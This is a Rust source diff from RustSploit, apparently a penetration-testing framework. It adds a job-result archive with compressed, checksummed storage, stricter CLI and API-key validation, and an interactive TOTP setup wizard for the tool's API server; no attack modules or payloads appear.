let archive_dir = home.join(".rustsploit").join("archives");
|
||||
|
||||
// Create archive directory if it doesn't exist
|
||||
if !archive_dir.exists() {
|
||||
fs::create_dir_all(&archive_dir)
|
||||
.context("Failed to create archive directory")?;
|
||||
}
|
||||
|
||||
Ok(Self {
|
||||
jobs: Arc::new(RwLock::new(VecDeque::with_capacity(MAX_MEMORY_JOBS + 10))),
|
||||
archive_dir,
|
||||
})
|
||||
}
|
||||
|
||||
/// Add a new job result
|
||||
pub async fn add_job(&self, job: JobResult) -> Result<()> {
|
||||
let mut jobs = self.jobs.write().await;
|
||||
|
||||
// Check if we need to archive before adding
|
||||
if jobs.len() >= MAX_MEMORY_JOBS {
|
||||
// Archive oldest jobs
|
||||
let to_archive: Vec<JobResult> = jobs.drain(..MAX_MEMORY_JOBS / 2).collect();
|
||||
drop(jobs); // Release lock before archiving
|
||||
|
||||
self.archive_jobs(to_archive).await?;
|
||||
|
||||
// Re-acquire lock
|
||||
let mut jobs = self.jobs.write().await;
|
||||
jobs.push_back(job);
|
||||
} else {
|
||||
jobs.push_back(job);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get a job by ID
|
||||
pub async fn get_job(&self, id: &str) -> Option<JobResult> {
|
||||
let jobs = self.jobs.read().await;
|
||||
jobs.iter().find(|j| j.id == id).cloned()
|
||||
}
|
||||
|
||||
/// Update a job's status and output
|
||||
pub async fn update_job(&self, id: &str, output: String, status: JobStatus) -> Result<()> {
|
||||
let mut jobs = self.jobs.write().await;
|
||||
|
||||
if let Some(job) = jobs.iter_mut().find(|j| j.id == id) {
|
||||
// Truncate output if too large
|
||||
let (final_output, truncated) = if output.len() > MAX_OUTPUT_SIZE {
|
||||
let truncated_output = format!(
|
||||
"{}\n\n[OUTPUT TRUNCATED - exceeded {}MB limit]",
|
||||
&output[..MAX_OUTPUT_SIZE - 100],
|
||||
MAX_OUTPUT_SIZE / 1024 / 1024
|
||||
);
|
||||
(truncated_output, true)
|
||||
} else {
|
||||
(output, false)
|
||||
};
|
||||
|
||||
job.output = final_output;
|
||||
job.truncated = truncated;
|
||||
job.status = status;
|
||||
job.completed_at = Some(Utc::now());
|
||||
|
||||
// Calculate duration
|
||||
let now = Utc::now().timestamp_millis();
|
||||
job.duration_ms = Some((now - job.started_at.timestamp_millis()) as u64);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Create a new job entry with empty output
|
||||
pub fn create_job(id: String, module: String, target: String) -> JobResult {
|
||||
JobResult {
|
||||
id,
|
||||
module,
|
||||
target,
|
||||
output: String::new(),
|
||||
truncated: false,
|
||||
status: JobStatus::Running,
|
||||
started_at: Utc::now(),
|
||||
completed_at: None,
|
||||
duration_ms: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Archive jobs to a compressed, immutable tar.gz file
|
||||
async fn archive_jobs(&self, jobs: Vec<JobResult>) -> Result<()> {
|
||||
if jobs.is_empty() {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let timestamp = Utc::now().format("%Y%m%d_%H%M%S");
|
||||
let archive_name = format!("jobs_{}.tar.gz", timestamp);
|
||||
let archive_path = self.archive_dir.join(&archive_name);
|
||||
let checksum_path = self.archive_dir.join(format!("jobs_{}.sha256", timestamp));
|
||||
|
||||
// Create tar.gz archive
|
||||
let tar_gz = File::create(&archive_path)
|
||||
.context("Failed to create archive file")?;
|
||||
let enc = GzEncoder::new(tar_gz, Compression::default());
|
||||
let mut tar = tar::Builder::new(enc);
|
||||
|
||||
// Add each job as a JSON file in the archive
|
||||
for job in &jobs {
|
||||
let job_json = serde_json::to_string_pretty(job)
|
||||
.context("Failed to serialize job")?;
|
||||
|
||||
let mut header = tar::Header::new_gnu();
|
||||
header.set_size(job_json.len() as u64);
|
||||
header.set_mode(0o444); // Read-only
|
||||
header.set_cksum();
|
||||
|
||||
tar.append_data(
|
||||
&mut header,
|
||||
format!("{}.json", job.id),
|
||||
job_json.as_bytes(),
|
||||
).context("Failed to add job to archive")?;
|
||||
}
|
||||
|
||||
// Finish the archive
|
||||
let enc = tar.into_inner()
|
||||
.context("Failed to finalize tar archive")?;
|
||||
enc.finish()
|
||||
.context("Failed to finalize gzip compression")?;
|
||||
|
||||
// Calculate SHA256 checksum
|
||||
let mut file = File::open(&archive_path)
|
||||
.context("Failed to open archive for checksum")?;
|
||||
let mut hasher = Sha256::new();
|
||||
let mut buffer = [0u8; 8192];
|
||||
loop {
|
||||
let n = file.read(&mut buffer)?;
|
||||
if n == 0 { break; }
|
||||
hasher.update(&buffer[..n]);
|
||||
}
|
||||
let checksum = format!("{:x} {}\n", hasher.finalize(), archive_name);
|
||||
|
||||
// Write checksum file
|
||||
let mut checksum_file = File::create(&checksum_path)
|
||||
.context("Failed to create checksum file")?;
|
||||
checksum_file.write_all(checksum.as_bytes())
|
||||
.context("Failed to write checksum")?;
|
||||
|
||||
// Make archive and checksum read-only
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
fs::set_permissions(&archive_path, fs::Permissions::from_mode(0o444))
|
||||
.context("Failed to set archive permissions")?;
|
||||
fs::set_permissions(&checksum_path, fs::Permissions::from_mode(0o444))
|
||||
.context("Failed to set checksum permissions")?;
|
||||
}
|
||||
|
||||
eprintln!("[INFO] Archived {} jobs to {}", jobs.len(), archive_path.display());
|
||||
|
||||
// Cleanup old archives if disk limit exceeded
|
||||
Self::cleanup_old_archives(&self.archive_dir)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Delete oldest archives if total size exceeds MAX_ARCHIVE_SIZE_BYTES (1GB)
|
||||
fn cleanup_old_archives(archive_dir: &PathBuf) -> Result<()> {
|
||||
let mut archives: Vec<_> = fs::read_dir(archive_dir)?
|
||||
.filter_map(|e| e.ok())
|
||||
.filter(|e| e.path().extension().map_or(false, |ext| ext == "gz"))
|
||||
.collect();
|
||||
|
||||
// Sort by modification time (oldest first)
|
||||
archives.sort_by_key(|e| e.metadata().ok().and_then(|m| m.modified().ok()));
|
||||
|
||||
let total_size: u64 = archives.iter()
|
||||
.filter_map(|e| e.metadata().ok().map(|m| m.len()))
|
||||
.sum();
|
||||
|
||||
if total_size > MAX_ARCHIVE_SIZE_BYTES {
|
||||
let mut freed = 0u64;
|
||||
for entry in &archives {
|
||||
if total_size - freed <= MAX_ARCHIVE_SIZE_BYTES {
|
||||
break;
|
||||
}
|
||||
if let Ok(metadata) = entry.metadata() {
|
||||
let size = metadata.len();
|
||||
let path = entry.path();
|
||||
if fs::remove_file(&path).is_ok() {
|
||||
// Also remove matching .sha256 file
|
||||
let mut sha_path = path.clone();
|
||||
sha_path.set_extension("sha256");
|
||||
let _ = fs::remove_file(sha_path);
|
||||
freed += size;
|
||||
eprintln!("[CLEANUP] Removed old archive: {} (freed {} bytes)", path.display(), size);
|
||||
}
|
||||
}
|
||||
}
|
||||
eprintln!("[CLEANUP] Total freed: {} bytes", freed);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// List all jobs in memory
|
||||
pub async fn list_jobs(&self) -> Vec<JobResult> {
|
||||
let jobs = self.jobs.read().await;
|
||||
jobs.iter().cloned().collect()
|
||||
}
|
||||
|
||||
/// Get archive directory path
|
||||
pub fn archive_dir(&self) -> &PathBuf {
|
||||
&self.archive_dir
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for JobArchive {
|
||||
fn default() -> Self {
|
||||
match Self::new() {
|
||||
Ok(archive) => archive,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: Failed to create job archive: {}. Using fallback.", e);
|
||||
// Fallback to current directory
|
||||
Self {
|
||||
archive_dir: std::env::current_dir().unwrap_or_else(|_| std::path::PathBuf::from(".")),
|
||||
jobs: std::sync::Arc::new(tokio::sync::RwLock::new(std::collections::VecDeque::new())),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Output buffer with overflow protection
|
||||
pub struct OutputBuffer {
|
||||
buffer: String,
|
||||
max_size: usize,
|
||||
truncated: bool,
|
||||
}
|
||||
|
||||
impl OutputBuffer {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
buffer: String::with_capacity(1024 * 64), // 64KB initial
|
||||
max_size: MAX_OUTPUT_SIZE,
|
||||
truncated: false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Append data to buffer, respecting max size
|
||||
pub fn append(&mut self, data: &str) {
|
||||
if self.truncated {
|
||||
return; // Already at max, ignore further input
|
||||
}
|
||||
|
||||
let remaining = self.max_size.saturating_sub(self.buffer.len());
|
||||
if remaining == 0 {
|
||||
self.truncated = true;
|
||||
self.buffer.push_str("\n\n[OUTPUT TRUNCATED]");
|
||||
return;
|
||||
}
|
||||
|
||||
if data.len() <= remaining {
|
||||
self.buffer.push_str(data);
|
||||
} else {
|
||||
self.buffer.push_str(&data[..remaining]);
|
||||
self.truncated = true;
|
||||
self.buffer.push_str("\n\n[OUTPUT TRUNCATED]");
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the final output
|
||||
pub fn finish(self) -> (String, bool) {
|
||||
(self.buffer, self.truncated)
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for OutputBuffer {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
+558
-30
@@ -1,5 +1,8 @@
|
||||
use anyhow::{Context, Result};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use clap::Parser;
|
||||
use colored::*;
|
||||
use std::net::SocketAddr;
|
||||
use std::process;
|
||||
|
||||
mod cli;
|
||||
mod shell;
|
||||
@@ -7,41 +10,566 @@ mod commands;
|
||||
mod modules;
|
||||
mod utils;
|
||||
mod api;
|
||||
mod config;
|
||||
mod totp_config;
|
||||
mod job_archive;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
let cli_args = cli::Cli::parse();
|
||||
/// Custom error types for CLI operations
|
||||
#[derive(Debug)]
|
||||
pub enum CliError {
|
||||
InvalidFlagCombination { flag1: String, flag2: String, message: String },
|
||||
// MissingRequiredFlag is handled by clap, but we can wrap validaton errors
|
||||
ValidationFailed { field: String, reason: String },
|
||||
ModuleNotFound { module: String, suggestions: Vec<String> },
|
||||
TargetInvalid { target: String, reason: String },
|
||||
ApiError { message: String },
|
||||
Generic { message: String },
|
||||
}
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
|
||||
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
|
||||
let bind_address = if interface.contains(':') {
|
||||
interface
|
||||
} else {
|
||||
format!("{}:8080", interface)
|
||||
};
|
||||
|
||||
let harden = cli_args.harden;
|
||||
let ip_limit = cli_args.ip_limit.unwrap_or(10);
|
||||
|
||||
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
|
||||
return Ok(());
|
||||
impl std::fmt::Display for CliError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
CliError::InvalidFlagCombination { flag1, flag2, message } => {
|
||||
write!(f, "{} Invalid flag combination detected: {} + {}\n {}", "❌".red(), flag1.yellow(), flag2.yellow(), message)
|
||||
},
|
||||
CliError::ValidationFailed { field, reason } => {
|
||||
write!(f, "{} Validation failed for '{}': {}", "❌".red(), field.yellow(), reason)
|
||||
},
|
||||
CliError::ModuleNotFound { module, suggestions } => {
|
||||
writeln!(f, "{} Module '{}' not found.", "❌".red(), module.yellow())?;
|
||||
if !suggestions.is_empty() {
|
||||
writeln!(f, " Did you mean:")?;
|
||||
for s in suggestions {
|
||||
writeln!(f, " - {}", s.green())?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
},
|
||||
CliError::TargetInvalid { target, reason } => {
|
||||
write!(f, "{} Invalid target '{}': {}", "❌".red(), target.yellow(), reason)
|
||||
},
|
||||
CliError::ApiError { message } => {
|
||||
write!(f, "{} API Server Error: {}", "❌".red(), message)
|
||||
},
|
||||
CliError::Generic { message } => {
|
||||
write!(f, "{} Error: {}", "❌".red(), message)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl CliError {
|
||||
pub fn exit_code(&self) -> i32 {
|
||||
match self {
|
||||
CliError::Generic { .. } => 1,
|
||||
CliError::InvalidFlagCombination { .. } => 2,
|
||||
CliError::ValidationFailed { .. } => 2,
|
||||
CliError::ModuleNotFound { .. } => 3,
|
||||
CliError::TargetInvalid { .. } => 4,
|
||||
CliError::ApiError { .. } => 5,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum length for API key to prevent memory exhaustion
|
||||
const MAX_API_KEY_LENGTH: usize = 256;
|
||||
|
||||
/// Maximum length for interface/bind address
|
||||
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
|
||||
|
||||
/// Maximum IP limit for hardening mode
|
||||
const MAX_IP_LIMIT: u32 = 10000;
|
||||
|
||||
/// Prints CLI usage hint
|
||||
fn print_usage_hint() {
|
||||
eprintln!("{}", "Usage hints:".yellow().bold());
|
||||
eprintln!(" {} Launch interactive shell", "cargo run".cyan());
|
||||
eprintln!(" {} Run module on target", "cargo run -- -m <module> -t <target>".cyan());
|
||||
eprintln!(" {} Start API server", "cargo run -- --api --api-key <key>".cyan());
|
||||
eprintln!(" {} List all modules in shell", "cargo run (then type 'modules')".cyan());
|
||||
eprintln!();
|
||||
eprintln!("{}", "For more help: cargo run -- --help".dimmed());
|
||||
}
|
||||
|
||||
/// Validates CLI flag combinations and prints warnings for common mistakes
|
||||
fn validate_cli_flags(cli_args: &cli::Cli) -> Result<()> {
|
||||
// Warning: -m without -t
|
||||
if cli_args.module.is_some() && cli_args.target.is_none() {
|
||||
eprintln!();
|
||||
eprintln!("{}", "⚠ Warning: --module (-m) specified without --target (-t)".yellow().bold());
|
||||
eprintln!("{}", " The module requires a target to run against.".yellow());
|
||||
eprintln!();
|
||||
print_usage_hint();
|
||||
eprintln!();
|
||||
eprintln!("{}", "Launching interactive shell instead...".cyan());
|
||||
eprintln!();
|
||||
}
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
// Warning: -t without -m (not an error, but inform user)
|
||||
if cli_args.target.is_some() && cli_args.module.is_none() && cli_args.command.is_none() {
|
||||
eprintln!();
|
||||
eprintln!("{}", "ℹ Note: --target (-t) specified without --module (-m)".blue().bold());
|
||||
eprintln!("{}", " Target will be available in interactive shell.".blue());
|
||||
eprintln!();
|
||||
}
|
||||
// Otherwise, launch the interactive shell
|
||||
else {
|
||||
shell::interactive_shell().await?;
|
||||
|
||||
// Warning: --harden without --api
|
||||
if cli_args.harden && !cli_args.api {
|
||||
eprintln!();
|
||||
eprintln!("{}", "⚠ Warning: --harden requires --api mode".yellow().bold());
|
||||
eprintln!("{}", " Hardening features are only active in API server mode.".yellow());
|
||||
eprintln!();
|
||||
print_usage_hint();
|
||||
return Err(anyhow!(CliError::InvalidFlagCombination {
|
||||
flag1: "--harden".to_string(),
|
||||
flag2: "no --api".to_string(),
|
||||
message: "Harden mode requires API mode".to_string()
|
||||
}));
|
||||
}
|
||||
|
||||
|
||||
// Note: --ip-limit requires --harden is enforced by clap's requires attribute
|
||||
|
||||
// Warning: --interface without --api
|
||||
if let Some(ref iface) = cli_args.interface {
|
||||
if !cli_args.api && iface != "0.0.0.0" { // Ignore default value
|
||||
eprintln!();
|
||||
eprintln!("{}", "⚠ Warning: --interface requires --api mode".yellow().bold());
|
||||
eprintln!("{}", " Interface binding is only used in API server mode.".yellow());
|
||||
eprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validates the bind address format for security
|
||||
fn validate_bind_address(addr: &str) -> Result<String> {
|
||||
let trimmed = addr.trim();
|
||||
|
||||
// Length check
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!(CliError::ValidationFailed {
|
||||
field: "bind_address".to_string(),
|
||||
reason: "Address cannot be empty".to_string()
|
||||
}));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Bind address too long (max {} characters)",
|
||||
MAX_BIND_ADDRESS_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Bind address cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Add port if missing
|
||||
let with_port = if trimmed.contains(':') {
|
||||
trimmed.to_string()
|
||||
} else {
|
||||
format!("{}:8080", trimmed)
|
||||
};
|
||||
|
||||
// Validate socket address format
|
||||
with_port.parse::<SocketAddr>()
|
||||
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
|
||||
|
||||
Ok(with_port)
|
||||
}
|
||||
|
||||
/// Validates API key format for security
|
||||
fn validate_api_key(key: &str) -> Result<String> {
|
||||
let trimmed = key.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("API key cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_API_KEY_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"API key too long (max {} characters)",
|
||||
MAX_API_KEY_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Only allow printable ASCII characters
|
||||
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
|
||||
return Err(anyhow!("API key must contain only printable ASCII characters"));
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
/// Validates IP limit for hardening mode
|
||||
fn validate_ip_limit(limit: u32) -> Result<u32> {
|
||||
if limit == 0 {
|
||||
return Err(anyhow!(CliError::ValidationFailed {
|
||||
field: "ip_limit".to_string(),
|
||||
reason: "Must be greater than 0".to_string()
|
||||
}));
|
||||
}
|
||||
|
||||
if limit > MAX_IP_LIMIT {
|
||||
return Err(anyhow!(
|
||||
"IP limit too high (max {})",
|
||||
MAX_IP_LIMIT
|
||||
));
|
||||
}
|
||||
|
||||
Ok(limit)
|
||||
}
|
||||
|
||||
/// TOTP setup wizard - runs interactively to configure TOTP for API authentication
|
||||
async fn run_totp_setup_wizard() -> Result<()> {
|
||||
use std::io::{self, Write};
|
||||
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan().bold());
|
||||
println!("{}", "║ TOTP AUTHENTICATION SETUP WIZARD ║".cyan().bold());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan().bold());
|
||||
println!();
|
||||
|
||||
let mut config = totp_config::TotpConfig::load()
|
||||
.context("Failed to load TOTP configuration")?;
|
||||
|
||||
loop {
|
||||
// Show menu
|
||||
println!("{}", "Options:".yellow().bold());
|
||||
println!(" {} List existing TOTP accounts", "1.".cyan());
|
||||
println!(" {} Add new TOTP (link to API token)", "2.".cyan());
|
||||
println!(" {} Remove TOTP account", "3.".cyan());
|
||||
println!(" {} Exit", "4.".cyan());
|
||||
println!();
|
||||
|
||||
print!("{}", "Enter choice [1-4]: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
let choice = choice.trim();
|
||||
|
||||
match choice {
|
||||
"1" => {
|
||||
// List accounts
|
||||
let accounts = config.list_accounts();
|
||||
if accounts.is_empty() {
|
||||
println!();
|
||||
println!("{}", "No TOTP accounts configured.".yellow());
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", "Configured TOTP accounts:".green().bold());
|
||||
for (short_hash, entry) in &accounts {
|
||||
let status = if entry.enabled { "✓ Enabled" } else { "✗ Disabled" };
|
||||
println!(" {} Token: {} | Label: {} | Created: {} | {}",
|
||||
"•".green(),
|
||||
short_hash.cyan(),
|
||||
entry.label,
|
||||
entry.created_at,
|
||||
status
|
||||
);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
}
|
||||
"2" => {
|
||||
// Add new TOTP
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan().bold());
|
||||
println!("{}", "║ ADD NEW TOTP ACCOUNT ║".cyan().bold());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan().bold());
|
||||
println!();
|
||||
println!("{}", "Enter the API token to link this TOTP to:".cyan());
|
||||
println!("{}", " (This is the token you'll use with --api-key)".dimmed());
|
||||
print!("{}", "API Token: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut token_input = String::new();
|
||||
io::stdin().read_line(&mut token_input)?;
|
||||
let token = token_input.trim();
|
||||
|
||||
if token.is_empty() {
|
||||
println!("{}", "Token cannot be empty.".red());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check if already exists
|
||||
if config.is_configured_for_token(token) {
|
||||
println!("{}", "TOTP already exists for this token. Remove it first.".red());
|
||||
continue;
|
||||
}
|
||||
|
||||
print!("{}", "Label (e.g., 'admin@server1') [default]: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut label_input = String::new();
|
||||
io::stdin().read_line(&mut label_input)?;
|
||||
let label = label_input.trim();
|
||||
let label = if label.is_empty() {
|
||||
format!("RustSploit-{}", &totp_config::TotpConfig::hash_token(token)[..8])
|
||||
} else {
|
||||
label.to_string()
|
||||
};
|
||||
|
||||
println!();
|
||||
println!("{}", "Generating TOTP secret...".green());
|
||||
|
||||
match config.generate_secret_for_token(token, &label) {
|
||||
Ok((secret, _url, token_hash)) => {
|
||||
// Generate QR code
|
||||
let qr_path = std::env::current_dir()
|
||||
.unwrap_or_else(|_| std::path::PathBuf::from("."))
|
||||
.join(format!("totp_qr_{}.png", &token_hash[..8]));
|
||||
|
||||
match config.generate_qr_png_for_token(token) {
|
||||
Ok(png_data) => {
|
||||
if let Err(e) = std::fs::write(&qr_path, &png_data) {
|
||||
eprintln!("{}", format!("[WARN] Failed to save QR: {}", e).yellow());
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", format!("QR Code saved: {}", qr_path.display()).green().bold());
|
||||
println!("{}", "Scan with Google Authenticator, Authy, etc.".cyan());
|
||||
}
|
||||
}
|
||||
Err(e) => eprintln!("{}", format!("[WARN] QR generation failed: {}", e).yellow()),
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Or enter this secret manually:".cyan());
|
||||
println!(" {}", secret.green().bold());
|
||||
println!();
|
||||
println!("{}", format!("Token hash: {}...", &token_hash[..16]).dimmed());
|
||||
println!();
|
||||
|
||||
// Verification loop
|
||||
loop {
|
||||
print!("{}", "Enter 6-digit code to verify: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut code_input = String::new();
|
||||
io::stdin().read_line(&mut code_input)?;
|
||||
let code = code_input.trim();
|
||||
|
||||
if code.eq_ignore_ascii_case("cancel") || code.eq_ignore_ascii_case("q") {
|
||||
println!("{}", "Setup cancelled.".red());
|
||||
let _ = config.remove_entry_by_token(token);
|
||||
break;
|
||||
}
|
||||
|
||||
match config.verify_code_for_token(token, code) {
|
||||
Ok(true) => {
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".green().bold());
|
||||
println!("{}", "║ ✓ TOTP SETUP SUCCESSFUL! ║".green().bold());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold());
|
||||
println!();
|
||||
println!("{}", "IMPORTANT:".yellow().bold());
|
||||
println!(" • This TOTP is linked to THIS specific API token");
|
||||
println!(" • TOTP required every 30 minutes when using --harden-totp");
|
||||
println!(" • Use X-TOTP-Code header in API requests");
|
||||
println!();
|
||||
println!("{}", "Example:".dimmed());
|
||||
println!("{}", format!(" cargo run -- --api --api-key \"{}\" --harden-totp",
|
||||
if token.len() > 20 { format!("{}...", &token[..20]) } else { token.to_string() }
|
||||
).dimmed());
|
||||
println!("{}", " curl -H 'Authorization: Bearer YOUR_TOKEN' -H 'X-TOTP-Code: 123456' ...".dimmed());
|
||||
|
||||
// Clean up QR
|
||||
if qr_path.exists() {
|
||||
let _ = std::fs::remove_file(&qr_path);
|
||||
println!();
|
||||
println!("{}", format!("QR deleted: {}", qr_path.display()).dimmed());
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(false) => println!("{}", "Invalid code. Try again or type 'cancel'.".red()),
|
||||
Err(e) => println!("{}", format!("Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("Failed to generate TOTP: {}", e).red()),
|
||||
}
|
||||
println!();
|
||||
}
|
||||
"3" => {
|
||||
// Remove TOTP
|
||||
let hashes = config.get_all_token_hashes();
|
||||
if hashes.is_empty() {
|
||||
println!();
|
||||
println!("{}", "No TOTP accounts to remove.".yellow());
|
||||
println!();
|
||||
continue;
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select account to remove:".yellow().bold());
|
||||
for (i, hash) in hashes.iter().enumerate() {
|
||||
if let Some(entry) = config.get_entry_by_hash(hash) {
|
||||
println!(" {} {}... ({})", format!("{}.", i + 1).cyan(), &hash[..12], entry.label);
|
||||
}
|
||||
}
|
||||
println!(" {} Cancel", format!("{}.", hashes.len() + 1).cyan());
|
||||
println!();
|
||||
|
||||
print!("{}", "Choice: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut rm_choice = String::new();
|
||||
io::stdin().read_line(&mut rm_choice)?;
|
||||
|
||||
if let Ok(idx) = rm_choice.trim().parse::<usize>() {
|
||||
if idx > 0 && idx <= hashes.len() {
|
||||
let hash = &hashes[idx - 1];
|
||||
match config.remove_entry_by_hash(hash) {
|
||||
Ok(true) => println!("{}", "Account removed successfully.".green()),
|
||||
Ok(false) => println!("{}", "Account not found.".yellow()),
|
||||
Err(e) => println!("{}", format!("Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
}
|
||||
println!();
|
||||
}
|
||||
"4" | "q" | "exit" => {
|
||||
println!("{}", "Exiting TOTP wizard.".cyan());
|
||||
break;
|
||||
}
|
||||
_ => println!("{}", "Invalid choice.".red()),
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() {
|
||||
if let Err(e) = run().await {
|
||||
// Check if downcast to CliError works
|
||||
if let Some(cli_error) = e.downcast_ref::<CliError>() {
|
||||
eprintln!("{}", cli_error);
|
||||
process::exit(cli_error.exit_code());
|
||||
} else {
|
||||
// Fallback for generic anyhow errors
|
||||
eprintln!("{} {}", "❌".red(), e);
|
||||
process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn run() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
let cli_args = cli::Cli::parse();
|
||||
|
||||
utils::verbose_log(cli_args.verbose, "CLI arguments parsed successfully");
|
||||
|
||||
// Validate CLI flag combinations (prints warnings for common mistakes)
|
||||
utils::verbose_log(cli_args.verbose, "Validating CLI flags...");
|
||||
validate_cli_flags(&cli_args)?;
|
||||
|
||||
// Handle list_modules flag
|
||||
if cli_args.list_modules {
|
||||
utils::verbose_log(cli_args.verbose, "Listing all modules...");
|
||||
utils::list_all_modules();
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Handle TOTP setup wizard
|
||||
if cli_args.setup_totp {
|
||||
utils::verbose_log(cli_args.verbose, "Starting TOTP setup wizard...");
|
||||
return run_totp_setup_wizard().await;
|
||||
}
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key_raw = cli_args
|
||||
.api_key
|
||||
.as_ref()
|
||||
.ok_or_else(|| anyhow!("--api-key is required when using --api mode"))?;
|
||||
|
||||
// Validate API key
|
||||
let api_key = validate_api_key(api_key_raw)
|
||||
.context("Invalid API key")?;
|
||||
|
||||
let interface = cli_args.interface.clone().unwrap_or_else(|| "127.0.0.1".to_string());
|
||||
|
||||
// Validate and normalize bind address
|
||||
let bind_address = validate_bind_address(&interface)
|
||||
.context("Invalid bind address")?;
|
||||
|
||||
let harden = cli_args.harden;
|
||||
|
||||
// Validate IP limit
|
||||
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
|
||||
let ip_limit = validate_ip_limit(ip_limit_raw)
|
||||
.context("Invalid IP limit")?;
|
||||
|
||||
utils::verbose_log(cli_args.verbose, &format!("Starting API server on {}...", bind_address));
|
||||
api::start_api_server(
|
||||
&bind_address,
|
||||
api_key,
|
||||
harden,
|
||||
cli_args.harden_totp,
|
||||
cli_args.harden_rate_limit,
|
||||
cli_args.harden_ip_tracking,
|
||||
ip_limit,
|
||||
cli_args.verbose,
|
||||
cli_args.queue_size,
|
||||
cli_args.workers,
|
||||
Vec::new(), // trusted_proxies
|
||||
).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate target if provided (fail fast on invalid input)
|
||||
if let Some(ref target) = cli_args.target {
|
||||
if let Err(e) = utils::normalize_target(target) {
|
||||
return Err(anyhow!(CliError::TargetInvalid {
|
||||
target: target.clone(),
|
||||
reason: e.to_string()
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
utils::verbose_log(cli_args.verbose, &format!("Setting global target to: {}", target));
|
||||
// Target validation is done in config::set_target
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("{} Global target set to: {}", "✓".green(), target);
|
||||
}
|
